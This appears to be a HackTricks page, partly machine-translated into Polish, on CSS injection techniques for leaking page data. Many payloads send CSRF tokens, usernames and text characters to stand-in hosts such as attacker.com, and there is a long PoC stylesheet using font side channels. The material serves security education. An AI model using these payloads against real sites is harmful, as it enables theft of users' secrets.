CSS Injection
Reading time: 24 minutes
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
CSS Injection
Attribute Selector
Selektory CSS są tworzone, aby dopasować wartości atrybutów name
i value
elementu input
. Jeśli atrybut value
elementu input
zaczyna się od określonego znaku, ładowany jest wstępnie zdefiniowany zewnętrzny zasób:
input[name="csrf"][value^="a"] {
background-image: url(https://attacker.com/exfil/a);
}
input[name="csrf"][value^="b"] {
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name="csrf"][value^="9"] {
background-image: url(https://attacker.com/exfil/9);
}
Jednak to podejście napotyka ograniczenie przy obsłudze ukrytych elementów input (type="hidden"
), ponieważ ukryte elementy nie ładują tła.
Obejście dla ukrytych elementów
Aby obejść to ograniczenie, możesz skierować regułę do kolejnego sąsiedniego elementu, używając ogólnego kombinatora rodzeństwa ~
. Reguła CSS zostanie wtedy zastosowana do wszystkich sąsiadów następujących po ukrytym elemencie input, powodując załadowanie obrazu tła:
input[name="csrf"][value^="csrF"] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}
Praktyczny przykład wykorzystania tej techniki jest opisany w dołączonym fragmencie kodu. Możesz go zobaczyć here.
Wymagania wstępne dla CSS Injection
Aby technika CSS Injection była skuteczna, muszą być spełnione następujące warunki:
- Payload Length: Wektor CSS Injection musi obsługiwać wystarczająco długie payloads, aby zmieścić przygotowane selektory.
- CSS Re-evaluation: Powinieneś mieć możliwość osadzenia strony (framing), co jest niezbędne do wywołania ponownej ewaluacji CSS z nowo wygenerowanymi payloads.
- External Resources: Technika zakłada możliwość użycia obrazów hostowanych zewnętrznie. Może to być ograniczone przez ustawienia Content Security Policy (CSP) witryny.
Blind Attribute Selector
As explained in this post, it's possible to combine the selectors :has
and :not
to identify content even from blind elements. This is very useful when you have no idea what is inside the web page loading the CSS injection.
It's also possible to use those selectors to extract information from several block of the same type like in:
<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background: url(/m);
}
</style>
<input name="mytoken" value="1337" />
<input name="myname" value="gareth" />
Łącząc to z następującą techniką @import, możliwe jest exfiltrate dużą ilość informacji za pomocą CSS injection z blind pages przy użyciu blind-css-exfiltration.
@import
Poprzednia technika ma pewne wady — sprawdź wymagania wstępne. Musisz albo mieć możliwość wysłania wielu linków do ofiary, albo musisz móc osadzić w iframe stronę podatną na CSS injection.
Jednak istnieje inna sprytna technika, która używa CSS @import
aby poprawić skuteczność metody.
Po raz pierwszy pokazał to Pepe Vila i działa to w następujący sposób:
Zamiast ładować tę samą stronę wielokrotnie z dziesiątkami różnych payloadów za każdym razem (jak w poprzednim przykładzie), zamierzamy załadować stronę tylko raz i tylko z importem wskazującym na serwer atakującego (to jest payload do wysłania ofierze):
@import url("//attacker.com:5001/start?");
- Import będzie otrzymywać some CSS script od attackers i browser go załaduje.
- Pierwsza część skryptu CSS, którą attacker wyśle, to another
@import
to the attackers server again. - Attacker's server nie odpowie jeszcze na to żądanie, ponieważ chcemy najpierw leak some chars, a potem odpowiedzieć na ten import payloadem, żeby leak the next ones.
- Druga i większa część payloadu będzie attribute selector leakage payload
- To wyśle do attackers server first char of the secret and the last one
- Gdy attackers server otrzyma first and last char of the secret, odpowie na the import requested in the step 2.
- Odpowiedź będzie dokładnie taka sama jak steps 2, 3 and 4, ale tym razem spróbuje find the second char of the secret and then penultimate.
Attacker będzie follow that loop until it manages to leak completely the secret.
Możesz znaleźć oryginalny Pepe Vila's code to exploit this here lub niemal ten sam kod, ale skomentowany tutaj.
tip
Skrypt będzie próbował odkryć po 2 chars za każdym razem (z początku i z końca), ponieważ attribute selector pozwala robić rzeczy takie jak:
/* value^= to match the beggining of the value*/
input[value^="0"] {
--s0: url(http://localhost:5001/leak?pre=0);
}
/* value$= to match the ending of the value*/
input[value$="f"] {
--e0: url(http://localhost:5001/leak?post=f);
}
Dzięki temu skrypt może szybciej leak the secret.
warning
Czasami skrypt doesn't detect correctly that the prefix + suffix discovered is already the complete flag i będzie kontynuował do przodu (w prefix) i do tyłu (w suffix) i w pewnym momencie się zawiesi.
Nie martw się, po prostu sprawdź output, ponieważ you can see the flag there.
Inline-Style CSS Exfiltration (attr() + if() + image-set())
This primitive enables exfiltration using only an element's inline style attribute, without selectors or external stylesheets. It relies on CSS custom properties, the attr() function to read same-element attributes, the new CSS if() conditionals for branching, and image-set() to trigger a network request that encodes the matched value.
warning
Equality comparisons in if() require double quotes for string literals. Single quotes will not match.
- Sink: kontroluj element's style attribute i upewnij się, że target attribute jest na tym samym elemencie (attr() reads only same-element attributes).
- Read: skopiuj atrybut do zmiennej CSS:
--val: attr(title)
. - Decide: wybierz URL używając zagnieżdżonych conditionals porównujących zmienną z string candidates:
--steal: if(style(--val:"1"): url(//attacker/1); else: url(//attacker/2))
. - Exfiltrate: zastosuj
background: image-set(var(--steal))
(lub dowolną fetching property) aby wymusić request do wybranego endpointu.
Attempt (does not work; single quotes in comparison):
<div style="--val:attr(title);--steal:if(style(--val:'1'): url(/1); else: url(/2));background:image-set(var(--steal))" title=1>test</div>
Działający payload (w porównaniu wymagane podwójne cudzysłowy):
<div style='--val:attr(title);--steal:if(style(--val:"1"): url(/1); else: url(/2));background:image-set(var(--steal))' title=1>test</div>
Wyliczanie wartości atrybutów z użyciem zagnieżdżonych warunków:
<div style='--val: attr(data-uid); --steal: if(style(--val:"1"): url(/1); else: if(style(--val:"2"): url(/2); else: if(style(--val:"3"): url(/3); else: if(style(--val:"4"): url(/4); else: if(style(--val:"5"): url(/5); else: if(style(--val:"6"): url(/6); else: if(style(--val:"7"): url(/7); else: if(style(--val:"8"): url(/8); else: if(style(--val:"9"): url(/9); else: url(/10)))))))))); background: image-set(var(--steal));' data-uid='1'></div>
Realistyczne demo (sondowanie nazw użytkowników):
<div style='--val: attr(data-username); --steal: if(style(--val:"martin"): url(https://attacker.tld/martin); else: if(style(--val:"zak"): url(https://attacker.tld/zak); else: url(https://attacker.tld/james))); background: image-set(var(--steal));' data-username="james"></div>
Uwagi i ograniczenia:
- Działa na przeglądarkach opartych na Chromium w czasie badań; zachowanie może się różnić na innych silnikach.
- Najlepiej nadaje się do skończonych/wyliczalnych przestrzeni wartości (IDs, flags, short usernames). Kradzież dowolnie długich ciągów bez zewnętrznych arkuszy stylów pozostaje trudna.
- Każda właściwość CSS, która pobiera URL, może być użyta do wywołania żądania (np. background/image-set, border-image, list-style, cursor, content).
Automatyzacja: Burp Custom Action może generować zagnieżdżone inline-style payloads do brute-force wartości atrybutów: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda
Inne selektory
Inne sposoby dostępu do części DOM za pomocą CSS selectors:
.class-to-search:nth-child(2)
: Wyszuka drugi element z klasą "class-to-search" w DOM.:empty
selector: Używany na przykład w this writeup:
[role^="img"][aria-label="1"]:empty {
background-image: url("YOUR_SERVER_URL?1");
}
Error based XS-Search
Referencje: CSS based Attack: Abusing unicode-range of @font-face , Error-Based XS-Search PoC by @terjanq
Ogólnym celem jest użycie niestandardowej czcionki z kontrolowanego endpointu i zapewnienie, że tekst (w tym przypadku, 'A') jest wyświetlany tą czcionką tylko wtedy, gdy wskazany zasób (favicon.ico
) nie może zostać załadowany.
<!DOCTYPE html>
<html>
<head>
<style>
@font-face {
font-family: poc;
src: url(http://attacker.com/?leak);
unicode-range: U+0041;
}
#poc0 {
font-family: "poc";
}
</style>
</head>
<body>
<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
- Użycie niestandardowej czcionki:
- Niestandardowa czcionka jest zdefiniowana za pomocą reguły
@font-face
wewnątrz tagu<style>
w sekcji<head>
. - Czcionka ma nazwę
poc
i jest pobierana z zewnętrznego endpointu (http://attacker.com/?leak
). - Właściwość
unicode-range
jest ustawiona naU+0041
, celując w konkretny znak Unicode 'A'.
- Element
<object>
z tekstem zapasowym:
- W sekcji
<body>
utworzono element<object>
zid="poc0"
. Element ten próbuje załadować zasób zhttp://192.168.0.1/favicon.ico
. - Dla tego elementu
font-family
jest ustawione na'poc'
, zgodnie z definicją w sekcji<style>
. - Jeśli zasób (
favicon.ico
) nie załaduje się, zostanie wyświetlona zawartość zapasowa (litera 'A') wewnątrz tagu<object>
. - Zawartość zapasowa ('A') zostanie wyrenderowana przy użyciu niestandardowej czcionki
poc
, jeśli zasób zewnętrzny nie będzie dostępny.
Stylowanie Scroll-to-text Fragment
Pseudoklasa :target
służy do wyboru elementu wskazanego przez URL fragment, zgodnie ze specyfikacją CSS Selectors Level 4 specification. Ważne jest, żeby zrozumieć, że ::target-text
nie dopasowuje żadnych elementów, chyba że tekst jest wyraźnie wskazany przez fragment.
Pojawia się problem bezpieczeństwa, gdy atakujący wykorzystują funkcję Scroll-to-text, co pozwala im potwierdzić obecność konkretnego tekstu na stronie poprzez załadowanie zasobu z ich serwera za pomocą HTML injection. Metoda polega na wstrzyknięciu reguły CSS takiej jak ta:
:target::before {
content: url(target.png);
}
W takich scenariuszach, jeśli na stronie obecny jest tekst "Administrator", zasób target.png
jest żądany z serwera, co wskazuje na obecność tego tekstu. Przykład takiego ataku można wykonać za pomocą specjalnie spreparowanego URL-a, który osadza wstrzyknięty CSS wraz z fragmentem Scroll-to-text:
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
Tutaj atak manipuluje HTML injection, aby przesłać kod CSS, celując w konkretny tekst "Administrator" za pomocą Scroll-to-text fragment (#:~:text=Administrator
). Jeśli tekst zostanie znaleziony, wskazany zasób zostaje załadowany, nieumyślnie sygnalizując jego obecność atakującemu.
Aby złagodzić ryzyko, należy zwrócić uwagę na następujące punkty:
- Ograniczone dopasowywanie STTF: Scroll-to-text Fragment (STTF) jest zaprojektowany do dopasowywania tylko słów lub zdań, co ogranicza jego zdolność do leakowania dowolnych sekretów lub tokenów.
- Ograniczenie do kontekstów przeglądania najwyższego poziomu: STTF działa wyłącznie w top-level browsing contexts i nie funkcjonuje w iframes, co sprawia, że każda próba wykorzystania jest bardziej zauważalna dla użytkownika.
- Wymóg aktywacji przez użytkownika: STTF wymaga user-activation gesture, aby zadziałać, co oznacza, że eksploity są możliwe tylko przez nawigacje zainicjowane przez użytkownika. Ten wymóg znacznie zmniejsza ryzyko, że ataki zostaną zautomatyzowane bez interakcji użytkownika. Niemniej autor wpisu na blogu wskazuje na konkretne warunki i obejścia (np. social engineering, interakcja z powszechnie stosowanymi rozszerzeniami przeglądarki), które mogą ułatwić automatyzację ataku.
Świadomość tych mechanizmów i potencjalnych podatności jest kluczowa dla utrzymania bezpieczeństwa w sieci i ochrony przed takimi taktykami.
Aby uzyskać więcej informacji, sprawdź oryginalny raport: https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/
Możesz sprawdzić exploit using this technique for a CTF here.
@font-face / unicode-range
Możesz określić zewnętrzne fonty dla konkretnych wartości unicode, które będą zbierane tylko wtedy, gdy te wartości unicode są obecne na stronie. Na przykład:
<style>
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range: U+0041;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range: U+0042;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range: U+0043;
}
#sensitive-information {
font-family: poc;
}
</style>
<p id="sensitive-information">AB</p>
htm
When you access this page, Chrome and Firefox fetch "?A" and "?B" because text node of sensitive-information contains "A" and "B" characters. But Chrome and Firefox do not fetch "?C" because it does not contain "C". This means that we have been able to read "A" and "B".
Text node exfiltration (I): ligatures
Referencja: Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację
Opisana technika polega na wydobywaniu tekstu z węzła poprzez wykorzystanie ligatur czcionek i monitorowanie zmian szerokości. Proces składa się z kilku kroków:
- Tworzenie niestandardowych czcionek:
- Tworzy się czcionki SVG z glifami posiadającymi atrybut
horiz-adv-x
, który ustawia dużą szerokość dla glifu reprezentującego sekwencję dwóch znaków. - Przykładowy glif SVG:
<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>
, gdzie "XY" oznacza sekwencję dwóch znaków. - Następnie te czcionki są konwertowane do formatu woff przy użyciu fontforge.
- Wykrywanie zmian szerokości:
- CSS jest używany, aby upewnić się, że tekst się nie zawija (
white-space: nowrap
) oraz aby dostosować styl scrollbar'a. - Pojawienie się poziomego paska przewijania, wystylizowanego w wyróżniający się sposób, działa jako wskaźnik (oracle), że konkretna ligatura, a więc określona sekwencja znaków, występuje w tekście.
- Zaangażowany CSS:
body {
white-space: nowrap;
}
body::-webkit-scrollbar {
background: blue;
}
body::-webkit-scrollbar:horizontal {
background: url(http://attacker.com/?leak);
}
- Proces exploitu:
- Krok 1: Tworzy się czcionki dla par znaków o znacznej szerokości.
- Krok 2: Wykorzystuje się sztuczkę opartą na pasku przewijania, aby wykryć, kiedy renderowany jest glif o dużej szerokości (ligatura dla pary znaków), co wskazuje na obecność tej sekwencji znaków.
- Krok 3: Po wykryciu ligatury generuje się nowe glify reprezentujące sekwencje trzyznakowe, zawierające wykrytą parę i dodający poprzedzający lub następujący znak.
- Krok 4: Przeprowadza się wykrywanie trzyznakowej ligatury.
- Krok 5: Proces się powtarza, stopniowo odsłaniając cały tekst.
- Optymalizacja:
- Obecna metoda inicjalizacji wykorzystująca
<meta refresh=...
nie jest optymalna. - Bardziej efektywne podejście mogłoby wykorzystać sztuczkę z CSS
@import
, poprawiając wydajność exploitu.
Text node exfiltration (II): leaking the charset with a default font (not requiring external assets)
Referencja: PoC using Comic Sans by @Cgvwzq & @Terjanq
Ta sztuczka została opublikowana w tym Slackers thread. Zestaw znaków użyty w węźle tekstowym może zostać leaked przy użyciu domyślnych czcionek zainstalowanych w przeglądarce: nie są potrzebne czcionki zewnętrzne ani niestandardowe.
Koncepcja opiera się na użyciu animacji do stopniowego zwiększania szerokości div
, co pozwala pojedynczym znakom przejść z części 'suffix' tekstu do części 'prefix'. Proces ten efektywnie dzieli tekst na dwie sekcje:
- Prefix: Początkowa linia.
- Suffix: Kolejna(-e) linia(-y).
Etapy przejścia znaków wyglądają następująco:
C
ADB
CA
DB
CAD
B
CADB
Podczas tego przejścia stosowany jest unicode-range trick, aby zidentyfikować każdy nowy znak, gdy dołącza do prefiksu. Osiąga się to przez przełączenie czcionki na Comic Sans, która jest zauważalnie wyższa niż czcionka domyślna, w konsekwencji wywołując pionowy pasek przewijania. Pojawienie się tego paska przewijania pośrednio ujawnia obecność nowego znaku w prefiksie.
Choć ta metoda pozwala wykryć unikalne znaki, gdy się pojawiają, nie określa, który znak się powtarza — jedynie że wystąpiło powtórzenie.
tip
Zasadniczo unicode-range jest używany do wykrycia znaku, ale ponieważ nie chcemy ładować zewnętrznej czcionki, trzeba znaleźć inny sposób.
Gdy znak jest znaleziony, jest mu przypisywana preinstalowana czcionka Comic Sans, która powiększa znak i wywołuje pasek przewijania, który będzie leak znalezionego znaku.
Sprawdź kod wyodrębniony z PoC:
/* comic sans is high (lol) and causes a vertical overflow */
@font-face {
font-family: has_A;
src: local("Comic Sans MS");
unicode-range: U+41;
font-style: monospace;
}
@font-face {
font-family: has_B;
src: local("Comic Sans MS");
unicode-range: U+42;
font-style: monospace;
}
@font-face {
font-family: has_C;
src: local("Comic Sans MS");
unicode-range: U+43;
font-style: monospace;
}
@font-face {
font-family: has_D;
src: local("Comic Sans MS");
unicode-range: U+44;
font-style: monospace;
}
@font-face {
font-family: has_E;
src: local("Comic Sans MS");
unicode-range: U+45;
font-style: monospace;
}
@font-face {
font-family: has_F;
src: local("Comic Sans MS");
unicode-range: U+46;
font-style: monospace;
}
@font-face {
font-family: has_G;
src: local("Comic Sans MS");
unicode-range: U+47;
font-style: monospace;
}
@font-face {
font-family: has_H;
src: local("Comic Sans MS");
unicode-range: U+48;
font-style: monospace;
}
@font-face {
font-family: has_I;
src: local("Comic Sans MS");
unicode-range: U+49;
font-style: monospace;
}
@font-face {
font-family: has_J;
src: local("Comic Sans MS");
unicode-range: U+4a;
font-style: monospace;
}
@font-face {
font-family: has_K;
src: local("Comic Sans MS");
unicode-range: U+4b;
font-style: monospace;
}
@font-face {
font-family: has_L;
src: local("Comic Sans MS");
unicode-range: U+4c;
font-style: monospace;
}
@font-face {
font-family: has_M;
src: local("Comic Sans MS");
unicode-range: U+4d;
font-style: monospace;
}
@font-face {
font-family: has_N;
src: local("Comic Sans MS");
unicode-range: U+4e;
font-style: monospace;
}
@font-face {
font-family: has_O;
src: local("Comic Sans MS");
unicode-range: U+4f;
font-style: monospace;
}
@font-face {
font-family: has_P;
src: local("Comic Sans MS");
unicode-range: U+50;
font-style: monospace;
}
@font-face {
font-family: has_Q;
src: local("Comic Sans MS");
unicode-range: U+51;
font-style: monospace;
}
@font-face {
font-family: has_R;
src: local("Comic Sans MS");
unicode-range: U+52;
font-style: monospace;
}
@font-face {
font-family: has_S;
src: local("Comic Sans MS");
unicode-range: U+53;
font-style: monospace;
}
@font-face {
font-family: has_T;
src: local("Comic Sans MS");
unicode-range: U+54;
font-style: monospace;
}
@font-face {
font-family: has_U;
src: local("Comic Sans MS");
unicode-range: U+55;
font-style: monospace;
}
@font-face {
font-family: has_V;
src: local("Comic Sans MS");
unicode-range: U+56;
font-style: monospace;
}
@font-face {
font-family: has_W;
src: local("Comic Sans MS");
unicode-range: U+57;
font-style: monospace;
}
@font-face {
font-family: has_X;
src: local("Comic Sans MS");
unicode-range: U+58;
font-style: monospace;
}
@font-face {
font-family: has_Y;
src: local("Comic Sans MS");
unicode-range: U+59;
font-style: monospace;
}
@font-face {
font-family: has_Z;
src: local("Comic Sans MS");
unicode-range: U+5a;
font-style: monospace;
}
@font-face {
font-family: has_0;
src: local("Comic Sans MS");
unicode-range: U+30;
font-style: monospace;
}
@font-face {
font-family: has_1;
src: local("Comic Sans MS");
unicode-range: U+31;
font-style: monospace;
}
@font-face {
font-family: has_2;
src: local("Comic Sans MS");
unicode-range: U+32;
font-style: monospace;
}
@font-face {
font-family: has_3;
src: local("Comic Sans MS");
unicode-range: U+33;
font-style: monospace;
}
@font-face {
font-family: has_4;
src: local("Comic Sans MS");
unicode-range: U+34;
font-style: monospace;
}
@font-face {
font-family: has_5;
src: local("Comic Sans MS");
unicode-range: U+35;
font-style: monospace;
}
@font-face {
font-family: has_6;
src: local("Comic Sans MS");
unicode-range: U+36;
font-style: monospace;
}
@font-face {
font-family: has_7;
src: local("Comic Sans MS");
unicode-range: U+37;
font-style: monospace;
}
@font-face {
font-family: has_8;
src: local("Comic Sans MS");
unicode-range: U+38;
font-style: monospace;
}
@font-face {
font-family: has_9;
src: local("Comic Sans MS");
unicode-range: U+39;
font-style: monospace;
}
@font-face {
font-family: rest;
src: local("Courier New");
font-style: monospace;
unicode-range: U+0-10FFFF;
}
div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}
div.leak::first-line {
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}
/* iterate over all chars */
@keyframes trychar {
0% {
font-family: rest;
} /* delay for width change */
5% {
font-family: has_A, rest;
--leak: url(?a);
}
6% {
font-family: rest;
}
10% {
font-family: has_B, rest;
--leak: url(?b);
}
11% {
font-family: rest;
}
15% {
font-family: has_C, rest;
--leak: url(?c);
}
16% {
font-family: rest;
}
20% {
font-family: has_D, rest;
--leak: url(?d);
}
21% {
font-family: rest;
}
25% {
font-family: has_E, rest;
--leak: url(?e);
}
26% {
font-family: rest;
}
30% {
font-family: has_F, rest;
--leak: url(?f);
}
31% {
font-family: rest;
}
35% {
font-family: has_G, rest;
--leak: url(?g);
}
36% {
font-family: rest;
}
40% {
font-family: has_H, rest;
--leak: url(?h);
}
41% {
font-family: rest;
}
45% {
font-family: has_I, rest;
--leak: url(?i);
}
46% {
font-family: rest;
}
50% {
font-family: has_J, rest;
--leak: url(?j);
}
51% {
font-family: rest;
}
55% {
font-family: has_K, rest;
--leak: url(?k);
}
56% {
font-family: rest;
}
60% {
font-family: has_L, rest;
--leak: url(?l);
}
61% {
font-family: rest;
}
65% {
font-family: has_M, rest;
--leak: url(?m);
}
66% {
font-family: rest;
}
70% {
font-family: has_N, rest;
--leak: url(?n);
}
71% {
font-family: rest;
}
75% {
font-family: has_O, rest;
--leak: url(?o);
}
76% {
font-family: rest;
}
80% {
font-family: has_P, rest;
--leak: url(?p);
}
81% {
font-family: rest;
}
85% {
font-family: has_Q, rest;
--leak: url(?q);
}
86% {
font-family: rest;
}
90% {
font-family: has_R, rest;
--leak: url(?r);
}
91% {
font-family: rest;
}
95% {
font-family: has_S, rest;
--leak: url(?s);
}
96% {
font-family: rest;
}
}
/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% {
width: 0px;
}
1% {
width: 20px;
}
2% {
width: 40px;
}
3% {
width: 60px;
}
4% {
width: 80px;
}
4% {
width: 100px;
}
5% {
width: 120px;
}
6% {
width: 140px;
}
7% {
width: 0px;
}
}
div::-webkit-scrollbar {
background: blue;
}
/* side-channel */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}
Text node exfiltration (III): leaking the charset z domyślną czcionką poprzez ukrywanie elementów (nie wymagające zewnętrznych zasobów)
Referencja: Jest to wspomniane jako nieudane rozwiązanie w tym writeup
Ten przypadek jest bardzo podobny do poprzedniego, jednak tutaj celem sprawienia, by konkretne chars były większe niż inne, jest ukrycie czegoś — np. przycisku, aby bot go nie nacisnął, albo obrazka, który nie zostanie załadowany. Dzięki temu możemy zmierzyć akcję (lub jej brak) i ustalić, czy dany char występuje w tekście.
Text node exfiltration (III): leaking the charset by cache timing (not requiring external assets)
Referencja: Jest to wspomniane jako nieudane rozwiązanie w tym writeup
W tym przypadku możemy spróbować leak, czy dany char znajduje się w tekście poprzez załadowanie fałszywej czcionki z tego samego origin:
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}
If there is a match, the font will be loaded from /static/bootstrap.min.css?q=1
. Although it won’t load successfully, the browser should cache it, and even if there is no cache, there is a 304 not modified mechanism, so the response should be faster than other things.
However, if the time difference of the cached response from the non-cached one isn't big enough, this won't be useful. For example, the author mentioned: Po testach odkryłem, że pierwszy problem polega na tym, że prędkość nie różni się znacząco, a drugi problem to to, że bot używa flagi disk-cache-size=1
, co jest naprawdę przemyślane.
Text node exfiltration (III): leaking the charset by timing loading hundreds of local "fonts" (not requiring external assets)
Źródło: Jest to wspomniane jako an unsuccessful solution in this writeup
In this case you can indicate CSS to load hundreds of fake fonts from the same origin when a match occurs. This way you can measure the time it takes and find out if a char appears or not with something like:
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1), url(/static/bootstrap.min.css?q=2),
.... url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}
A kod bota wygląda tak:
browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)
Zatem, jeśli czcionka nie pasuje, czas odpowiedzi przy odwiedzaniu bota powinien wynosić około 30 sekund. Jeśli jednak czcionka pasuje, zostanie wysłanych wiele żądań w celu pobrania czcionki, powodując ciągłą aktywność sieci. W rezultacie spełnienie warunku zatrzymania i otrzymanie odpowiedzi zajmie więcej czasu. Dlatego czas odpowiedzi może być użyty jako wskaźnik do określenia, czy czcionka pasuje.
Źródła
- https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e
- https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b
- https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d
- https://x-c3ll.github.io/posts/CSS-Injection-Primitives/
- Inline Style Exfiltration: leaking data with chained CSS conditionals (PortSwigger)
- InlineStyleAttributeStealer.bambda (Burp Custom Action)
- PoC page for inline-style exfiltration
- MDN: CSS if() conditional
- MDN: CSS attr() function
- MDN: image-set()
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.